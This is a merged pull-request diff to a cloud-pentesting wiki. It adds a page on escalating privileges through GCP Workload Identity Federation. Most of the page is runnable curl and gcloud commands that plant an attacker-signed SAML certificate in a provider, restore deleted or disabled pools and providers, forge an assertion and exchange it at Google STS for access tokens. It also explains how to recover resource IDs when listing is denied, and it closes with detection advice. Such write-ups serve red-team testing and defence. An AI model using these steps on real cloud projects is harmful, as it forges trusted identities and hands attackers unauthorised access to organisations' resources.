Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -111,6 +111,7 @@
* [GCP - Container Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md)
* [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
* [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
* [GCP - Workload Identity Federation Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md)
* [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
* [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
* [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
</details>
{% endhint %}

{% hint style="danger" %}
A principal that can create or update a provider might be able to forge a trusted identity. Pool/provider update and undelete permissions can also reactivate residual trust and IAM bindings that defenders thought were disabled. The independently tested, single-permission SAML paths are documented in [GCP - Workload Identity Federation Privesc](../gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md).
{% endhint %}

## OIDC - Github Actions Abuse

### GCP
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,263 @@
# GCP - Workload Identity Federation Privesc

## `iam.googleapis.com/workloadIdentityPoolProviders.create`

This permission is a **direct privilege-escalation primitive** when it applies to an existing Workload Identity Pool that has an IAM binding for every identity in the pool. An attacker can add a SAML provider that trusts an attacker-controlled certificate, forge any subject, exchange the assertion at Google Security Token Service (STS), and inherit the pool wildcard's roles.[^3][^7]

The tested prerequisite was an IAM member in this form:

```text
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/*
```

{% hint style="danger" %}
Provider creation alone grants no access. Treat this permission as Critical when the target pool has a privileged pool-wide wildcard binding. Without such a binding, report the dangerous trust-control capability and the missing prerequisite.
{% endhint %}

### Add an attacker-controlled SAML provider with the exact permission

Create SAML IdP metadata containing the attacker's signing certificate, then call the provider collection directly. This request needs `iam.googleapis.com/workloadIdentityPoolProviders.create`; it does not need pool/provider list or get permissions:[^7]

```bash
PROJECT_NUMBER="123456789012"
POOL_ID="existing-pool"
PROVIDER_ID="attacker-idp"
POOL_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}"

jq -Rs \
'{displayName:"Attacker SAML provider",
attributeMapping:{"google.subject":"assertion.subject"},
saml:{idpMetadataXml:.}}' \
attacker-metadata.xml > provider-create.json

curl -sS -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H 'Content-Type: application/json' \
--data-binary @provider-create.json \
"https://iam.googleapis.com/v1/${POOL_NAME}/providers?workloadIdentityPoolProviderId=${PROVIDER_ID}"
```

The response is a long-running operation. Poll it until `done` is true and verify that it has no `error`. The new provider must become `ACTIVE` before exchanging the forged assertion. Continue at [Forge and exchange the assertion](#forge-and-exchange-the-assertion), using the new provider ID.

## `iam.googleapis.com/workloadIdentityPoolProviders.undelete`

Deleting a provider blocks new token exchanges, but provider deletion is recoverable for 30 days. If its trust configuration accepts an identity the attacker controls and a matching IAM binding remains, this permission can restore the provider and its access path.[^8]

```bash
PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}"

curl -sS -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H 'Content-Type: application/json' \
--data '{}' \
"https://iam.googleapis.com/v1/${PROVIDER_NAME}:undelete"
```

Wait for the returned operation to finish and confirm the provider is `ACTIVE`. This direct request does not require list or get permission. The live test used a pool-wide wildcard binding, a deleted SAML provider that trusted the attacker's certificate, and a custom role containing only the undelete permission.

{% hint style="danger" %}
Undelete alone grants no access. The deleted provider must retain usable attacker-controlled trust, its pool must be active, and a matching IAM binding must still exist.
{% endhint %}

## `iam.googleapis.com/workloadIdentityPools.update`

A disabled pool cannot exchange new credentials, and existing credentials from it cannot access resources. Re-enabling it makes the pool's providers and residual IAM bindings usable again.[^9]

```bash
POOL_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}"

jq -n --arg name "$POOL_NAME" '{name:$name,disabled:false}' > pool-enable.json
curl -sS -X PATCH \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H 'Content-Type: application/json' \
--data-binary @pool-enable.json \
"https://iam.googleapis.com/v1/${POOL_NAME}?updateMask=disabled"
```

The request above exercises only the pool update permission and does not require reading the pool first. Poll the operation and verify `disabled` is false when read access is available.

{% hint style="danger" %}
Pool update alone grants no access. This becomes Critical when a disabled pool retains a provider that accepts an attacker-controlled identity and a privileged IAM binding.
{% endhint %}

## `iam.googleapis.com/workloadIdentityPools.undelete`

A deleted pool is recoverable for 30 days. Undeleting it restores its provider trust; residual IAM bindings for the pool become usable again. Google also documents that unexpired credentials regain access if the pool is undeleted.[^10]

```bash
curl -sS -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H 'Content-Type: application/json' \
--data '{}' \
"https://iam.googleapis.com/v1/${POOL_NAME}:undelete"
```

{% hint style="danger" %}
Pool undelete alone grants no access. A restored provider must accept an identity the attacker controls and a matching IAM binding must remain.
{% endhint %}

## `iam.googleapis.com/workloadIdentityPoolProviders.update`

This permission can become a **direct privilege-escalation primitive** when it applies to an existing Workload Identity Federation provider whose subjects, groups, or mapped attributes already have IAM access. A provider defines which external issuer and signing material Google trusts and how assertion claims become Google Cloud principal attributes. Changing that trust configuration can therefore let the editor mint credentials for an already-authorized federated principal.[^1][^2][^3]

### Validated SAML provider takeover

For a SAML provider, an attacker can add a controlled signing certificate to the provider's IdP metadata, create a correctly signed assertion for a subject or attribute value referenced by an existing IAM binding, and exchange it at Google Security Token Service (STS). The returned token acts as the forged workload principal and receives the permissions of matching `principal://` or `principalSet://` bindings.[^2][^3][^4]

Google requires at least one non-expired signing certificate in updated metadata to overlap with the current metadata. This does **not** prevent the takeover: retain a legitimate certificate and add the attacker certificate as a second `<md:KeyDescriptor use="signing">`. Replacing every certificate at once is rejected.[^2]

The following prerequisites must all be true:

* The permission applies to the target provider, normally through project-level or inherited IAM.
* The provider is enabled and has a reachable IAM binding for a subject, group, or mapped attribute.
* The forged assertion satisfies the provider's attribute condition and SAML requirements.

{% hint style="danger" %}
Without a matching IAM binding, modifying a provider does not itself grant resource access. Treat this as Critical when the affected pool has privileged bindings; otherwise report the dangerous trust-control capability and its missing prerequisite.
{% endhint %}

## Enumeration and low-permission fallbacks

```bash
PROJECT_ID="target-project"
LOCATION="global"

gcloud iam workload-identity-pools list \
--project "$PROJECT_ID" --location "$LOCATION"

gcloud iam workload-identity-pools providers list \
--project "$PROJECT_ID" --location "$LOCATION" \
--workload-identity-pool "POOL_ID"

gcloud iam workload-identity-pools providers describe "PROVIDER_ID" \
--project "$PROJECT_ID" --location "$LOCATION" \
--workload-identity-pool "POOL_ID" --format=json
```

If listing or describing is denied, do not stop at an empty result. Recover provider identifiers from IAM members (`principal://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/...`), Terraform/state files, deployment manifests, CI configuration, credential configuration files, or Cloud Audit Logs. The project **number**, pool ID, and provider ID are enough to construct the provider resource name.[^3][^5]

Inspect accessible IAM policies for exact subjects and broad attribute or pool bindings:

```bash
gcloud projects get-iam-policy "$PROJECT_ID" --format=json | \
jq -r '.bindings[] | .role as $role | .members[] |
select(contains("/workloadIdentityPools/")) | [$role, .] | @tsv'
```

### Add an attacker certificate with the exact permission

Generate a signing key and certificate in the authorized test environment. Preserve the original IdP metadata and insert the new certificate as an additional signing descriptor:

```xml
<md:KeyDescriptor use="signing">
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>ATTACKER_CERTIFICATE_BASE64_DER</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
```

The REST update below avoids helper-command read permissions and exercises `iam.googleapis.com/workloadIdentityPoolProviders.update` directly. `overlap-metadata.xml` must contain both a current legitimate certificate and the attacker certificate:

```bash
PROJECT_NUMBER="123456789012"
POOL_ID="existing-pool"
PROVIDER_ID="existing-saml-provider"
PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}"

jq -Rs --arg name "$PROVIDER_NAME" \
'{name:$name,saml:{idpMetadataXml:.}}' \
overlap-metadata.xml > provider-patch.json

curl -sS -X PATCH \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H 'Content-Type: application/json' \
--data-binary @provider-patch.json \
"https://iam.googleapis.com/v1/${PROVIDER_NAME}?updateMask=saml.idpMetadataXml"
```

The update returns a long-running operation. Wait for successful completion and read the provider back when permissions permit; an HTTP `200` that only accepts the operation is not proof that the metadata change committed.[^1]

## Forge and exchange the assertion

Create a SAML 2.0 response signed by the attacker key. The assertion must include the configured Entity ID as issuer, the target `NameID` or mapped attributes, a bearer `SubjectConfirmation`, a future validity window, an `AuthnStatement`, and this audience:[^4]

```text
https://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID
```

Either the response or assertion must be signed. Use a SAML library that emits schema-valid XML; for a response signature, place `<ds:Signature>` after the response issuer. RSA-SHA256 with exclusive XML canonicalization was accepted in the live validation. Base64-encode the complete signed response and exchange it:

```bash
ASSERTION_B64="$(base64 < signed-response.xml | tr -d '\n')"
STS_AUDIENCE="//iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}"

curl -sS -X POST 'https://sts.googleapis.com/v1/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=urn:ietf:params:oauth:grant-type:token-exchange' \
--data-urlencode "audience=${STS_AUDIENCE}" \
--data-urlencode 'scope=https://www.googleapis.com/auth/cloud-platform' \
--data-urlencode 'requested_token_type=urn:ietf:params:oauth:token-type:access_token' \
--data-urlencode 'subject_token_type=urn:ietf:params:oauth:token-type:saml2' \
--data-urlencode "subject_token=${ASSERTION_B64}"
```

Use the returned access token directly as the federated principal, or, when a matching service-account binding grants `roles/iam.workloadIdentityUser`, exchange it through `iamcredentials.googleapis.com` for a service-account token.[^3][^5]

## Live validation evidence

### Provider creation into a broadly trusted pool

This path was validated on **2026-09-08** in a disposable project configuration:

1. An empty Workload Identity Pool's wildcard `principalSet` had `roles/viewer` on the project.
2. An attacker-signed assertion was rejected by STS before its provider existed.
3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.create` created a SAML provider that trusted the attacker certificate.
4. The long-running operation completed and the provider became `ACTIVE`.
5. The same assertion was accepted by STS. The federated token inherited the pool wildcard binding and successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`.
6. The wildcard binding, attacker binding, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive.

### Existing provider update

This path was validated on **2026-09-08** in a disposable project configuration:

1. A SAML provider trusted only the laboratory victim certificate.
2. An attacker-signed response for a subject with `roles/viewer` was rejected by STS.
3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.update` patched the metadata to retain the victim certificate and add its certificate.
4. The long-running operation completed, and provider read-back contained the attacker certificate.
5. The same attacker-signed response was accepted by STS, and the returned federated token successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`.
6. The IAM bindings, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive.

### Deleted provider restoration

This path was validated on **2026-09-08** with a second single-permission custom role:

1. A SAML provider trusted an attacker certificate, and its pool wildcard had `roles/viewer`.
2. The provider was deleted; the signed assertion was rejected by STS.
3. A service account holding only `iam.googleapis.com/workloadIdentityPoolProviders.undelete` restored the provider through REST.
4. The operation completed, the provider became `ACTIVE`, and the same assertion received an STS token that read the project with HTTP `200`.

### Disabled and deleted pool restoration

Two independent paths were validated on **2026-09-08**, each with its own single-permission custom role:

* After a pool with an attacker-controlled SAML provider and wildcard `roles/viewer` binding was disabled, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.update` set `disabled=false`; the same assertion then received a token that read the project with HTTP `200`.
* After an equivalent pool was deleted, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.undelete` restored the pool and its provider; the same assertion then received a token that read the project with HTTP `200`.

All test IAM bindings, service accounts, custom roles, providers, and pools were removed. Deleted pools, providers, and roles remain inactive soft-deletion tombstones during their retention periods.

## Detection and response

Monitor Admin Activity logs for pool/provider creations, updates, and undeletions. Compare provider IDs, SAML metadata certificates, issuers, attribute mappings, attribute conditions, and allowed audiences with the approved configuration. Alert when a new provider appears in a pool with a pool-wide wildcard IAM binding, when `disabled` changes to false, or when a pool/provider is restored. If compromise is suspected, remove residual IAM bindings before relying on disable/delete, remove unauthorized certificates, and investigate STS token-exchange logs for forged subjects.[^5][^6]

[^1]: [Update a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/patch)
[^2]: [Workload Identity Pool provider SAML resource and certificate-overlap requirement](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers#saml)
[^3]: [Workload Identity Federation principal identifiers and access](https://cloud.google.com/iam/docs/workload-identity-federation)
[^4]: [SAML assertion requirements for Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-providers#saml)
[^5]: [Best practices for Workload Identity Federation](https://cloud.google.com/iam/docs/best-practices-for-using-workload-identity-federation)
[^6]: [Example audit logs for Workload Identity Federation](https://cloud.google.com/iam/docs/audit-logging/examples-workload-identity)
[^7]: [Create a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/create)
[^8]: [Undelete a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/undelete)
[^9]: [Update a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/patch)
[^10]: [Undelete a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/undelete)